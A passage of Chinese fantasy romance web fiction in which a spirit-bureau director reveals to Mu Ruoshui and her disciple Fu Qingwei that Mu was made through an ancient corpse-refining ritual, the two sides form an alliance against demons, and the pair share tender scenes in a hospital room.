除了地上支离破碎的飞僵尸体,一个小女孩的尸身引起了灵管局的注意,她也是被撕碎心脏斩首而亡,但是从她擦去血污的外表来看,和飞僵有很大区别。 负责清理的小队转到后勤,干脆带回去研究。 麻天德仰面向天,胸腔被掏出了一个大洞,心脏脏兮兮地滚落在一边。 专门负责查验尸体的技术人员蹲下来,伸手扒开伤口,肌理、骨骼、鲜血都是人类的样子,没有被异化,说明魔气没有侵蚀他。但…… “林子里的木屋确实有魔气残留的痕迹。”带队的组长给岁已寒回复道。 “是麻天德?” “不在他身上,而且已经消失了。” 也许是被消灭了,也许是逃了,执行任务的四人都在医院里,具体还得问她们。 龙璇玑作为现存唯一能友好交流的目击者被岁已寒第一个找上。 “魔气?” 龙璇玑摇头,说:“我没有看到。” 岁已寒:“你们见到的麻天德有什么异常吗?比如说他身边有黑雾,或者他表现出了人类不该有的力量?” 龙璇玑依旧摇头。 “他虽然长得丑,但确实是个人。” 人类不该有的力量?是在说师娘吗?龙璇玑把话藏进心里。 她连穆若水是怎么杀僵尸的都没有说,对发生在她身上的一切闭口不提,幸好岁已寒也没有问。 龙璇玑虽然单纯,但有明显的偏向,就是无条件站在娘亲那边。 娘亲说不让她告诉灵管局有关师娘的任何事,她一个字也不会说的。 岁已寒:“没事了,你好好养伤吧。” 龙璇玑:“占英怎么样了呀?” 岁已寒顿了顿:“还在昏迷,醒了我会告诉你们的。” 龙璇玑托着下巴,哦了一声。 岁已寒离开病房的背影有些不自持的仓促。 脚步有自我意识地转到了重症监护室的外面,隔着玻璃看向里面插满管子、昏迷不醒的年轻女生。 占英的年纪和傅清微差不多,也就比她大一岁,放在普通人家大学刚毕业。她和大学生一样爱喝奶茶,性子不静,虽然在宗门和灵管局因为辈分和职位看起来十分稳重,但私底下特别喜欢撒娇。 她本来不该频频出生入死,因为是岁主任的徒弟,所以她不能让人说师傅的闲话,说她任人唯亲,不能给师傅丢脸,遇到危险总是第一个上,任务执行得很优秀,连阴间都有人脉。局里人人提到占科都夸她年轻有为,大佬们私下聊天也夸岁已寒收了个好徒弟。 可她一直是那个喜欢跟在师傅身后的小女孩。因为师傅是岁已寒,她从来没有选择。 去年蛟祸她身受重伤,在医院休养了许久。没等到痊愈因为魔气推进的速度加快,灵管局焦头烂额,她又被拉到前线疲于奔命,小伤不断,身体就没好全过。 离蛟祸不到一年,她又接到一个明知凶多吉少的任务,义无反顾地去了,奄奄一息地回来,脉搏弱得几乎摸不到。 灵管局的大夫说,占英是阴差阳错地捡了半条命,本来尸毒和她受的伤可以要她的命两次,神仙无救。飞僵的尸毒延缓了血液流动的速度,让她在受伤后没有第一时间失血过多而死,龙璇玑给她止住伤势以后,傅清微不知用何法及时解了尸毒,鬼门关前临门一脚硬生生把人拉了回来。 但形势并不乐观,新伤旧伤一起爆发,这几天就又送了三回抢救室,连下一叠病危通知。 都是半夜病情恶化。 岁已寒干脆睡在了医院走廊里。 “我想进去探视。”她对护士轻声说。 护士抬眸瞧了她一眼,知道她的身份,当即准备给她消毒换衣服。 刚穿上一只袖子,岁已寒就接到了电话。 负责善后的组长现在正在一个山洞的门口,记起方才在洞里看到的场景,说:“主任,我有一件事汇报。先前你给我看过的那个阵法,我亲眼见到了。” “千真万确?” “我拍了照片,待会发给你,你注意查收。” 岁已寒脱下袖子:“不好意思,我晚点再过来看她。” 护士礼貌地送她出来。 岁已寒走到安静的地方,收到了发来的照片。 一片漆黑只有自然光照明的山洞,石棺周围和地面贴满了符箓,九条纵横交错的锁链将其悬空,棺材底下也弹了墨线和画着奇怪诡异的符号。 是一个阵法,而且是已经破了的阵法,棺材空着,里面的“人”不翼而飞。 这口棺材不大,正常的成年人要缩手缩脚才能躺进去,更像是给孩童准备的。 岁已寒双指放大图片,在阵法角落的阵石发现了干涸的血迹,红黑色,陈年累月,不像是一次造成的。 岁已寒关闭照片,说:“我亲自去一趟。” “是。” 她回头瞧了一眼ICU的方向,大步出了医院的大门。 * 穆若水又经历了一夜的休息,整个上半身都恢复知觉了,正在用手和小三花玩猫捉老鼠的游戏。 傅清微任劳任怨地到猫砂盆前铲屎。 叩叩叩—— 久违的敲门声响起来,傅清微铲完猫砂,物归原位,方擦了擦手,不紧不慢地过去开门。 “岁主任。”她不是很惊讶地看着来人,年轻的脸尽量伪装出城府但仍然无法完全掩饰对她的不满。 “请进吧。”她故意拖延了几秒钟,才让开通道。 穆若水取过床头柜的黑色口罩戴上,怀里抱着她的猫。 没人能看出她现在只有上半身能动,论装她是一流的,不像傅清微心思写在脸上。 岁已寒关好门进了病房,面对二人的第一句话就是:“对不起。” 态度诚恳,一向挺直的腰梁都微微弯了下来。 堂堂灵管局第一人当面道歉,如果仅仅是傅清微,去执行一个明知会死的任务,她不道歉也没什么,总要有人牺牲,哪怕是去探路,她死得其所。 但这明明就是一个局!一个针对穆若水设下的局! 麻天德那么厉害,手底下十几只飞僵,她派谁不好,只派四个人,其中占英、她和龙璇玑都是没有一战之力的,赌注全押在穆若水身上,试探也好,更大的阴谋也罢,她们就是利用自己让师尊上钩,达到她们的目的! 傅清微心灰意冷,义愤填膺,岁已寒最好是不出现,她出现了傅清微不可能轻轻放过。 傅清微平时都很好说话,难得有牙尖嘴利的时候:“对不起有用吗?对不起就能让……占英从ICU里醒过来吗?她现在生死未卜,都是因为你!占英要是死了,你不会后悔吗?你这辈子还能睡得安稳吗?!” 她是知道怎么往人心窝子扎的,说自己有什么用,骂人就是要挑软肋。 傅清微骂完往穆若水的病床坐了一点,穆若水的手伸过来握住她的手,摸到她脉搏跳得飞快。 穆若水:“……” 又菜又要骂。 骂就骂吧,随她。 穆若水淡淡:“占英恐怕活不成了,最多三日。” 傅清微瞪大眼。 岁已寒本来就弯着的腰似乎随着她的话弓得更深了一些,深呼吸,她的手扶住床尾的栏杆,清瘦的手背一根根爆出青筋,用力过度指节泛白。 傅清微看穆若水,穆若水目不斜视地盯着岁已寒。 她缓慢地直起身来,手仍在握在栏杆上,似乎以这种方式让自己保持笔直的身形。 傅清微见她眼圈不明显的一层红,又为她感到可怜。 片刻之后回神,唾弃同情心泛滥的自己。 占英无辜,但也是助纣为虐,她们师徒俩算计自己师徒俩,都不是好人。 岁已寒对上穆若水平淡的视线。 “慈让真人,我知道了您的身份。” “所以你现在是来威胁我们吗?”傅清微伸臂护在穆若水面前,像只羽翼未丰但炸着毛的雏鸟,毫不畏惧地说。 “不,你们误会了。” 岁已寒叹了口气,说:“介意我坐下来说吗?” 傅清微斗胆说:“你站着!” 她又往穆若水怀里靠了靠,逗得观主不禁一笑。 岁已寒便站在二人面前,因为身量太高杵着别扭,穆若水发话让她搬张凳子坐下。 “多谢真人。” 傅清微看她不像来讨伐的样子,神色缓和了些,仍然一脸防备。 “这件事是我一个人的主意,和局里无关。我的初衷并不是想对真人不利,而是想验证自己的猜测,和真人合作除魔。” “别当谜语人!”傅清微说。 她已经不想干了,对着顶头上司随便出言不逊。 穆若水又笑了。 所有的快乐加起来都不如傅清微一个人给她带来的多。 穆若水的情绪稳定,比起傅清微怒气冲冲地质问岁已寒,她镇定得像事不关己。 以前动不动要打要杀,现在还能反过来安抚傅清微,大概是最近她被傅清微喂得太好了,实在无事能令她动怒。 岁已寒试探了她,她也顺势暴露了自己的秘密,傅清微知晓后不仅没有嫌恶,反而更心疼她了,一举两得,她有什么可生气的?配合傅清微假装气一气算了。 穆若水板起脸复读:“别当谜语人。” 岁已寒:“……” 事情还要从去年穆若水出关说起。 邱月白的卦象,慈让真人的突然出关,占英作为局里派出的先锋,第一时间把得到的所有资料传回局里,包括真人性情大变,喜怒无常,出手伤人。 占英曾经用无人机给观里的穆若水送过物资,无人机传回的影像里后院中央有一口石棺,周围的九条锁链都断了,和满地的符箓一样堆在墙角。 岁已寒初时只觉得奇怪,暗暗记下。 后来占英重伤住院,傅清微带着穆若水前来探望,岁已寒见她皮肤光滑,腰身纤细,十指纤纤,宛如年轻女子,心生疑窦,去找邱月白求证。 邱月白说她三十年前就是如此,只不过当时是一头白发,如今可能染黑了。 因为慈让真人是解局的关键,岁已寒起了疑虑后没有轻易打消,而是多方求证,猜测,继续求证。 岁已寒说:“在我之前的几位主任留下了工作手札和其他人的文字记载,她们有的与慈让真人有过交集,我针对性地翻阅了她们所有的文字,记录下一切慈让真人相关的内容。” 接下来她说的一番话,别说傅清微了,有的是连穆若水自己都不知道的真相。 岁已寒为了表示自己的诚意,和盘托出。 “灵管局大门有一个防护大阵,是五十年代建国之初总局重建,特意请来穆顾问设立的阵法,一直沿用至今。” “穆顾问行踪不定,大部分时间在蓬莱隐居,不问世事,偶尔出现在人间都是降妖伏魔的大事。与维护和平的灵管局素有交集,但是每一次会面,穆顾问都像第一次见灵管局的人一样,问她们是谁。” 换而言之,就是失忆。 所以岁已寒等人对她的失忆司空见惯。 傅清微诧异:“每一次都不记得?” 她和穆若水面面相觑,穆若水心想:原来她果真不是第一次失忆。 岁已寒点头:“有记载的有四次,八十年代灵管局与穆顾问见了最后一面。三十年前据邱老说,她占卜时遭到反噬,穆顾问救了她一命。此后再没有在人间听到她的踪迹。” 慈让真人名扬玄门,道法精深,妙手仁心,灵管局有不少人是她的粉丝,但凡听过见过的,很难不敬仰她。 岁已寒之前有一届主任就是这样,作为慈让真人的迷妹,在有幸亲眼见到她一次后,在工作手记里夹带私货,把对方的外貌、衣着、饰品一一记录下来,包括她说的话,一字不漏。 岁已寒从中发现了蛛丝马迹。 “她说,那次她们是去抓世上仅存的几只魔物之一,穆顾问使一柄剑,和她们合力除了魔物,随口提起来,最近似乎有将活人炼成僵尸的邪术重现天日,让灵管局多留意。” 岁已寒不肯放过任何线索,即便对方随手的一笔,她心念一动,立马找来炼尸的资料。 灵管局几千年历史,最不缺的就是典籍,岁已寒在古籍里发现了一个非常古老的阵法。 岁已寒将阵法拓在了纸上,递给穆若水和傅清微看。 傅清微是第一个进入道观的人,玉牌、符箓、石棺、锁链、阵石,在她面前爆出刺目的红光,鲜血流淌在石棺表面,一见那幅图,仿佛又拉回到了她跌入棺材和穆若水相遇的那一天。 穆若水皱着眉头看那张纸,正中央悬空的一口棺材。 她正是从那里面醒来的。 岁已寒:“这是一门极为歹毒的炼尸功法。寻常的炼尸是寻找现成的尸体,有形无魂。而此法是要在人活着的时候,将魂魄以秘术锁在身体内,埋入棺材,辅以阵法材料,一点一点地焚魂淬体,所炼之人痛不欲生,因为魂魄无法出来,所以严格意义上炼的是活人。” “这个法子虽能炼出比飞僵厉害百倍的僵尸,但是迄今无人炼成过。全因没有人能忍受得了这种痛苦,一次次骨头碾碎,血肉化为血水,这仅仅是肉体的淬炼,而焚魂比这酷烈百倍。” 古籍的记载已有两千年之久,这两千年以来,穆若水是第一个被炼完还能从棺材里走出来的人。 以此法炼出的人,前尘尽忘。 穆若水不记得是怎样进的棺材,也不记得如何受过那些痛楚,只是身体保留了强大的耐受能力,凌迟不过道一声而已。 傅清微不关心别的,只在乎她到底承受了什么,她问岁已寒:“有多痛?” 她不知不觉红了眼眶。 岁已寒说:“十八层地狱不过如此。” 第117章 千锤百炼, 焚魂淬体。 岁已寒:“在这个过程里,所炼之人越是痛苦,苏醒之时能力越是强悍。” 她看了眼穆若水。 以穆观主如今的实力, 当世无出其右者, 只怕忍受的苦难非常人所能想象。 穆若水早忘了个一干二净, 对她的话语反应平平。 倒是傅清微那个水做的女大,恨不得在师尊怀里大哭一场, 但顾忌着岁已寒这个外人在场, 坚强地忍住了,红着眼圈看穆若水。 穆若水这时决计不敢安慰她, 否则就打开水龙头的阀门了, 哭得梨花带雨的傅清微可不能叫别人看去。 她牵了一下傅清微的手,故意捉着她的指尖玩。 傅清微用她的手擦了擦自己的眼睫下方。 傅清微:“岁主任,我想知道这个阵具体是怎么炼的, 待会你可以告诉我吗?” 她要知道穆若水究竟经历了什么, 不管是高兴的,还是悲伤的过往,她都想知道。 穆若水不表示反对。 岁已寒便顺应道:“好。” 说完炼尸, 岁已寒就是从这里猜到了穆若水的真实身份。 她一百多岁年轻不改的容颜,人类的模样却有着人类无法企及的力量,岁已寒第一次见她就从她身上感受到了静水流深的底蕴,和前所未有的危机感, 那是她年轻时面对闭关的镇山老祖都不曾有过的,犹如越不过的天堑。 她喜怒无常的脾气、时常戴着的面具不愿见外人…… 一桩桩一件件, 都在假设“她不是人”以后顺理成章, 虽然仍有疑点,比如她为什么会每次出关都失忆、为什么性情反复……但谁也没见过真正炼成的人, 或许是炼尸过程的后遗症。 这是在魔气泛滥以前。 岁已寒只是猜测,并未有求证的想法,井水不犯河水,她仍然是灵管局的顾问,她没有拆穿她的理由。 麻天德案,凶悍的飞僵现于人前,危机四伏,灵管局怀疑他背后不仅是飞僵,更有魔族推波助澜的身影。 人欲滋生魔气,而魔气反过来助长人欲,对于普通人来说可能只是戾气变重,极端的人拿起屠刀杀人,对于麻天德这种既有能力又心术不正的邪道,一定是魔族重点关注的对象。 魔族不止侵蚀一种方法,它们还可以与他合作。否则飞僵这种凶物,和平年代出一两只已是大为棘手,他竟然能量产,一旦全部放下山,一村一寨一城,都会化作人间炼狱。即便能制伏,也要付出巨大的代价。 在没有摸清麻天德底细之前,派谁去便成了一个问题。 有能力对抗飞僵的,在灵管局无不担任重要职位,如果还要保证尽量减少人员伤亡,最好都能活着回来,总局目前在岗能派出去的,屈指可数,其中还包括岁已寒自己。 岁已寒坐镇西南总局,越是局势混乱,越不能轻易离开。 是选择用大量骨干伤亡去填,还是派出分量够重的大人物,比如副局长、邱月白顾问。 派谁都有风险,穆若水在所有的选择里,是风险最小胜算最大的。 她本领最高,对付僵尸专业对口,如果她真是岁已寒猜测的那样,就是飞僵的老祖宗,没有人比她更合适。 傅清微越听越生气,说:“那你为什么只派我们四个人?你明明可以再多派一些局里厉害的精英,我们也不会差点团灭,占英更不会……” 岁已寒:“这样穆顾问的身份就会暴露给所有人。” 傅清微一怔。 她想起穆若水和黑袍青年单打独斗的时候,在空中肢体相撞的力道,金石断玉一般的声响,她徒手划破飞僵的胸腔,膝盖砸出的凹洞。 她们三人撤退时,她青丝瞬间褪色,满头过膝白发的背影。 任何人看到都不会把她往人类身上联想。 因为她们事先都知道她不是人,所以一切顺理成章,回来救人也是。她血红如宝石的眼珠,血腥残暴的屠杀现场,比真正的魔族有过之无不及。 如果换成灵管局的其他人呢? 慈让真人身份神秘,光风霁月,竟然是大魔头本魔吗? 灵管局海纳百川,是有妖的存在,有龙璇玑这样的基层,也有做到分局局长的,但不代表他们能容纳魔,至少不是所有人都能接受。 一定会引起轩然大波,再传遍玄门,有些多管闲事的说不定就要跳出来除魔卫道了。 外患未除,再添内忧。灵管局风雨飘摇。 即使这些人威胁不到穆若水,她们俩平静的日子也终归会被打破。 慈让真人百年的声名毁于一旦。 傅清微陷入沉思。 穆若水语气玩味:“这样听起来我似乎得感谢你?费尽心机替我隐瞒身份?” 岁已寒说:“自然不是,我没有那么伟大。我只派占英去,确实是因为不能把您的身份暴露给更多的人,否则我们就没有合作的机会了。” 以穆若水的脾气,旁人要是诬她,毁谤她,她听不到的话可以不计较。可傅清微还在灵管局上班,风言风语传到她耳朵里,议论她们师徒,言辞不逊,穆若水就要雷霆大怒了。 别说和灵管局合作,她不把灵管局掀了就是她的仁慈,如果傅清微劝不住,她恐怕要大开杀戒。 不用等魔族入侵,灵管局先在她手里死伤惨重。 她的身份不能暴露,百害无一利。 穆若水:“我既然是魔,你还敢和我合作?不怕与虎谋皮?” 岁已寒反问她:“什么是魔?僵尸为怪,飞僵为妖,变魃成犼,前者为魔,后者为仙。您是古往今来第一个炼成通天彻地之能的人,既然谁都没有见过,凭什么称魔,我倒以为是仙人。” 穆若水:“……” 她以为自己是大魔头呢,岁已寒花言巧语几句倒是把她捧成仙了。 瞧把傅清微开心的,几句话就不记得刚刚还在生岁已寒的气。 傅清微清了清嗓子,道:“爱听,多说。” 岁已寒真的往下说了:“仙和魔都是人定义的,有些人见识短浅,仅以表象判断。不管其他人怎么想,既然穆顾问手里不曾沾无辜之人的鲜血,就永远是我心目中的慈让真人。” 漂亮话谁都爱听,即使真心里掺了几分假意又如何,能哄傅清微高兴,穆若水便受用。 岁已寒心目中怎么看待她无所谓,但傅清微会为了世上多一个人认同她而欣慰。 是仙是魔都在穆若水的一念之间,然而天平的砝码握在傅清微手上。 岁已寒师徒俩一贯是知道怎么拿捏她们的。 偏偏这法子不让人生厌。 穆若水:“你想怎么合作?” 岁已寒:“上次的会议讨论过,魔族领袖已经来到西南,找到您是它们迫在眉睫的事,只怕就在最近。局里希望您得到它们的消息以后,及时互通有无,我们联手杀了它。” 穆若水:“我能获得什么?” 岁已寒:“局里会为傅清微提供保护。” 穆若水:“成交。” 傅清微在旁边“啊?”了一声。 怎么突然就成交了?成交了什么东西??? 对穆若水来说,魔族找上她是既定的事,她现在站在傅清微这边,断不会与魔族为伍,更不会帮它们打开什么深渊通道,没有灵管局,他们也是死对头。 既然迟早有一场大战,她唯一放心不下的就是傅清微的安全,灵管局虽然不中用,但可以解决她的后顾之忧。 对岁已寒而言,进一步确定了傅清微在穆若水心目中的地位。 她不在乎穆若水是仙是魔,只要灵管局能够护住她唯一在意的,她就能为灵管局所用。她是一颗致命的定时炸弹,但对敌有同样的杀伤力,只有岁已寒敢剑走偏锋,以小博大。 对二人来说,互惠互利,各自的目的都达到了,没有拒绝合作的道理。 除掉麻天德是一次试探,也是豪赌的第一手,她们俩都赌赢了。 接下来她们会继续留在赌桌上,互换筹码。 不过这次任务还是出现了岁已寒预料之外的情况。 她想过占英会遇险,傅清微和龙璇玑可能会遇险,唯独没有想过穆若水会受伤,在她的设想里,穆若水应该毫发无损。 ……如果没有红线的话。 岁已寒关切道:“穆顾问受了什么伤,要紧吗?我请邱老过来为你看看?” 傅清微城府浅,手心出汗,满脸警惕。 红线的禁制,绝对不能暴露给灵管局,否则她们就会捏住师尊的把柄。 岁已寒:“?” 穆若水的手覆在年轻女人的手背,缓解了她的紧绷,随口道:“哦,一时不察中了埋伏,休息两天就无碍了。” 傅清微怕自己演技不好给师尊拖后腿,干脆把脸埋进她的胸口。 岁已寒:“……” 天还亮着呢。 穆若水温柔抚着傅清微的长发,抬眼道:“岁主任,你还有事吗?” 接收到逐客令的岁已寒:“穆顾问好好休息,有事随时吩咐。” 穆若水鼻音应了一声。 岁已寒退出了病房,关门之前还见到两人在床上卿卿我我,你侬我侬。 房门轻轻地带上。 傅清微满脸通红地从师尊丰满的胸口起来,懊悔说:“我的一世英名全毁了。” 穆若水说:“胡说,你哪里来的这种东西。” 傅清微道:“但师尊的一世英名保住了,钱袋子似乎没那么讨厌?” 穆若水食指刮了下她的鼻梁。 “不叫岁主任了?” “嗯,以后都跟着你叫。” 穆若水不由得想起一句话:嫁鸡随鸡嫁狗随狗。 傅清微则想起另一句:妇唱妇随。 两人对视了一眼,莫名其妙地默契错开目光,掩饰不好意思。 穆若水清了一下嗓子:“你想离开灵管局了?” 傅清微说:“有这个打算。” 她是抱着理想考进局里的,单纯地想要匡扶正义,斩妖除魔。可她的身份让一切变得不再客观,还连累了师尊。她不能再这么自私下去了。 大不了她以后当个散人,还是能做她想做的事。想放假就放假,想在山上待着就在山上陪师尊。 她不干了! 穆若水:“那你的工资怎么办?” 傅清微:“……” 她那六险二金,医疗全包,税后两万起的高薪工作。 傅清微沉默几秒,说:“师尊,如果我想再犹豫一段时间,会不会显得没有出息?局里还有一个年中奖,这次的绩效也没有结,应该还挺多的……” 穆若水肩头耸动。 傅清微:“你又在笑!” 别人受伤凄风苦雨,她受伤躺在医院里,每天都格外开心,笑口常开。 对比起来傅清微真像是皇帝身边的宫女,净她一个人急了。 穆若水笑眼弯弯:“你最近性子不大稳重。” 傅清微没好气:“我还不是关心你?” “为师知道,我又没说你什么,你看你又急。” “我不急,行了吧?谁让我不像岁主任和你有共同语言。”她坐在床沿,背过身去。 穆若水笑得心里直呼天耶,这是吃的哪门子飞醋? 傅清微说:“你不要碰我。” 穆若水不管不顾地将她拉进怀里。 傅清微气鼓鼓地说:“本来就是,我在那大呼小叫,跟个炸毛的猫一样,你转头和人成交了,好耶小丑竟是我自己。你还笑!” 穆若水乐不可支。 两个人拉拉扯扯,搂搂抱抱,说不好哪个时刻,傅清微开始享受其中。 她被穆若水搂在身前亲了一口。 “你和钱袋子计较什么,在我心里她都不算个人。” “那我是什么?” “你是……” 傅清微看着她的眼睛。 亲是她主动亲的,现在还用这种暧昧的姿势抱着她。 她依然认为她们是纯粹的师徒之情? “我是什么?” “你是我……”穆若水蒙住她过分明亮的眼睛,用一个吻强行结束了这个话题。 唇分之后,傅清微微微气喘,仰脸又轻咬了咬女人柔润的下巴。 “你刚刚说,占英真的快死了吗?” “不知道,我吓唬她的。”穆若水说。 她每天都在病房里,自己还半身不遂呢,哪能观察到占英的情况。 “为什么是三天?” “为师瞎编的,多吓唬她一会儿。” “……” 傅清微心想:顶着这么一张高深莫测的脸,确实说什么都可信。 她伸手捏了捏穆若水的侧脸。 再厉害的女人脸也是软的,还很滑。 傅清微爱不释手。 穆若水拿下她乱摸的手,没有半点威胁力地说:“不要得寸进尺。” 傅清微两只手都捧了上来,亮晶晶地看着她。 穆若水无奈:“……只准摸一会儿。” “师尊的皮肤好好,怎么保养的?” “天生的。” “我可以亲一下吗?” “你亲都亲了,现在才问?” “没忍住嘛,再亲一下好不好?” “不要废……唔……嗯。” “师尊……师尊……” 小三花蹲在另一张病床上,正襟危坐地看着她的姥姥和妈妈又搞到了一起,歪了歪圆脑袋。 * 傅清微时隔多日第一次出病房。 她来到了ICU的外面,问到了占英所在的地方,从玻璃看见岁已寒正在里面探视。 女人侧对着自己,嘴唇开合,似乎在对占英说话。说一会儿沉默一会儿,最后沉默了许久,坐成了凝固的雕塑。 岁已寒换下衣服从ICU出来,转身撞见等在走廊的年轻女生。 岁已寒的眼圈有些红,没有掩饰的意思,声音一如既往的沉稳:“找我有事吗?” 傅清微:“刚刚说的炼尸的事。” 岁已寒:“不好意思,突然记性不太好。” “可以理解。”傅清微侧头望向玻璃里面,说,“我师尊说占科活不过三日是骗你的,吉人自有天相,相信她很快就会平安度过危险期。” “谢谢你。” 说到底傅清微和占英又没仇,如果有办法她会竭尽所能救她,但现在只能靠她自己的求生意志了。 岁已寒把傅清微带到了她的临时办公室。 贵人事忙,哪里都能办公。 岁已寒把那页拓本再次递给她,手机里也存了一张文字流程图,在古籍里记在同一页,被她分开了。 岁已寒说:“其实炼制过程中忍痛并不是最难,古往今来不缺乏意志坚强的人,再惨烈的酷刑都有人能扛过去。只要心中坚持,一口气不松,就能熬到底。” 傅清微细细阅读着文字记载,除了列明材料和流程以外,还提到了一句话。 此阵法之所以极难炼成,是因为反复焚魂,会使人的七情尽灭,六欲全消。相当于另一种形式上的轮回,而且是无数次以酷刑的方式摧毁重塑。 人可以义无反顾赴死,也可以受尽折磨,但这个过程会让你忘了为什么坚持下去。 是恨?是爱?还是因为一个人,或者一个约定? 想不起来了。 这些统统都遗忘了,人心的那口气就散了,再也不会有醒来的机会。 山里的那口棺材,是麻天德用来炼她的亲生女儿的,根据古法记载,他应该是亲手杀了他的女儿,封入棺中,用亲生骨肉的恨和怨来炼的尸。 那只是个失败的半成品。 世间没有魂魄能经得住这样的熬炼。 再多焚魂几次,他的女儿就要魂飞魄散化为血水,功亏一篑,所以阵只成了一半。 岁已寒拇指擦过桌面,说:“所以一个人究竟有多深的执念,连自己都忘了,七情六欲尽消,仍然能够坚持到底,直到从棺材里醒过来的那一天。” 与其说她在问傅清微,不如说是旁观者的唏嘘。 这种古法若不是典籍记载,她不会发现世间还有如此偏门的阵法。若不是亲眼见到穆若水,她也不会相信竟然真的有人能够从此等阵法里“活着”走出来。 莫说她死后是个人物,她生前也一定不凡。 她也曾是道士。 岁已寒多少生出了几分跨越时间长河的向往,可惜她再也见不到从前的穆若水,不能瞻仰一二分她的风采。 现在也不迟。 得知全部的真相后,她无法不佩服如今站在她面前的穆若水,换成她自己她肯定做不到。 私心是有私心的,蓬莱一脉为降妖除魔付出了血的代价,第二代观主又遭此歹毒阵法,实在不应再背上魔头的罪名。 谁会自愿走入棺材里? 她的公心和私心利益一致。 傅清微捏着那页薄薄的阵法图,指节攥紧泛白,眼睛死死盯着的却是“七情尽灭,六欲全消”八个字,一切的困惑都有了答案。 怪不得她在棺材里一躺躺那么久,对任何事都不感兴趣。 怪不得她总是眼神冰冷,动不动选择用武力解决问题。 怪不得她感情迟钝,先前面对自己的爱慕总是无动于衷,如今对她的告白总是迟疑,原来她是真的不知道何为情。 她的情早就在百年前就炼没了,还是以如此惨烈的方式。 傅清微把阵法图拍在桌上,恨声道:“究竟是谁炼的她?!” 岁已寒:“难说,如果炼她的那个人没有成仙,应该早就死了。” 成仙是不可能的,所以只有第二种答案,她们的仇人已经死了,化为白骨。 傅清微有气无处使,回去找穆若水大哭了一场,肝肠寸断。 穆若水丝毫不意外,她去找岁已寒问,回来只有哭一个结果。岁已寒也是,非得把她惹哭,就不怕自己不和她合作了吗? 穆若水哄道:“好了,我都不记得了,你看你哭成这样?” 傅清微:“呜呜呜呜呜。” 穆若水继续哄:“你就当作那不是我,不就行了?” 傅清微哽咽:“可是那明明就是你。” 穆若水哦声:“那我原来真和人成过亲?” 傅清微马上变脸:“你敢?!” 穆若水:“那被炼的是不是我?” 傅清微瞪眼:“不是。” 第118章 穆若水凭借诡辩暂时转移了傅清微的注意力, 傅清微抽噎了几句,果然止住了眼泪。 她这副苍白美丽的面皮,哭得鼻尖和眼睛都红红的, 睫毛挂着泪水。 欲落不落, 缀在下眼睑, 恰似雨后被浇打过的梨花。 仿佛能闻到零落的花瓣香气。 穆若水霎时后悔:“你不再哭一会儿吗?” 傅清微:“……” 迎接穆若水的是几记毫无力道的拳头,捶在她肩膀上。 穆若水入世接近一年, 在凡人的电视剧里见过, 这个是撒娇。 她也很喜欢。 穆若水受用道:“再来两下。” 傅清微说:“你讨厌。” 穆若水诚实说:“这句我现在不行,下次再听吧。” 傅清微撩起她病号服的胳膊, 看见小臂所有的汗毛都站立了起来。 傅清微的眼泪还没干, 先笑了出来。 傅清微没有见过从前的穆若水,自从知道她是已死之人后,就总是忍不住幻想她以前是什么样。无关吃醋, 人都会对恋人的过往充满想象, 爱是常觉亏欠,爱也是恨不相逢。 她现在这样好,那么从前也是吗?有没有吃过很多苦, 说一说给她听。 然而她早就都不记得了。 连害她死去的最痛苦的过程也忘记了。 傅清微如穆若水所愿的又哭了一会儿,她自己也不知道在难过什么,穆若水端过床头的水杯,等她哭得差不多了, 递过来给她补水。 傅清微喝了几口,问:“这是你用过的杯子吗?” 穆若水:“你都直接接吻过那么多次了, 对着个杯子大惊小怪什么?” 傅清微:“……” 一点情趣都没有! 傅清微抿着她喝过的水, 丝丝甘甜滑入喉咙。 她喝了师尊的水。 不对,她没有喝过。 师尊既然不是人, 那到底有没有水? 怎么大白天又脑内开车,好害羞啊,不能再想了。 穆若水不知道她的歪心思有一秒落在了她的身上,紧接着傅清微说去倒水从床前离开了,背影飞快,生怕被穆若水窥到她一闪而过的念头——太僭越了! 傅清微把从岁已寒那里听来的话原样转告给了穆若水,穆若水一手Rua着胸口的小三花,一边看着傅清微在病房里练功舒展身体,偶尔垂下的眼皮敛起若有所思。 执念吗? 那个叫白姝的小妖鬼似乎也说过。 ——我看见了……你的欲望……很深很重……执着了很多很多年…… ——这就是你最大的欲望。 然后她从影子里操纵傅清微的身体,吻上了她的唇。 那应该是真正意义上她和傅清微的初吻。 她记得那一瞬间胸腔里难言的渴求和酸涩。 ——你身上似乎有一根线,和欲望有关。 ——什么线? ——红线?许是契约或是姻缘之类的,也可能都不是。 麻天德声称她有一个主人,岁已寒说她是被人为炼出来的,而傅清微的血可以压制她体内的红线,且十全大补,世上只有她一个人的气息会让她感到亲近,在任何时候安抚她天性中的杀意,和她亲热甚至可以治疗她的伤势。 她和傅清微的关系在这种种巧合之下,似乎呼之欲出了。 如果没有其他线索浮出水面,她可能就是麻天德口中的,穆若水所谓的“主人”,而背后炼尸的人,可能也是她。 红线是她下的,所以她可以解。 但她面前的傅清微只是个二十一岁的应届女大,还是她亲自收的乖徒儿。 亲一亲就会乖乖在她怀里出声,温柔可爱。 亲得再深了就会是另一种诱人的声音。 她还说自己活好水多,大言不惭。 穆若水一想到她,满脑子都是她第一次闯入自己的怀里,在密闭的棺材里两人交颈相缠,她咬上她的脖子。 她被黄鼠狼附体,自己下山寻她恰好救她一命,她认真地向自己道谢,自己偷拿她手机她假装不知道地要了回去。 她倒霉升级,冤鬼缠身,跑到山里投奔她,早出晚归,披星戴月地到道观打卡,给她带奶茶和零食,陪她聊天,棺材上方探出的明媚笑脸。 她第一次画符被自己划破舌头,舌尖血吐在符纸上金光微微一亮,她同时亮起来的眼睛,下一秒捂着嘴疼得眼泛泪光。 第二天下山都只能给她发文字短信道别。 她又又被白姝附体,自己破天荒教了她金光咒,给了她佛珠手串防身,她却邀请她留在人间,带她看一看新世界。 穆若水心想荒唐,你凭什么?天还没亮却收拾行李漏夜下山出现在了她的身边。 从单纯地想要陪伴她一生,打发长生的寿命,到现在愿意为了她去死。 她们早就绑在一起分不开了,这一生都会纠缠在一起。 她作为人的那一世已经结束了,傅清微也不记得前尘往事,两人都宛如新生。 她曾经是与不是始作俑者又有什么关系呢? 说到底被炼的人是活着的那个人,和她死了的穆若水有什么关系? “傅清微。” “怎么了?”傅清微拳法打到一半,背刚转过去,便紧张地转了回来,“是不是哪里不舒服?” “有一些。”穆若水说,“心脏不太舒服。” “你不是没有心脏吗?”傅清微一边说着一边诚实走了过来。 “有,它只是不会跳。你要不要听一听?” 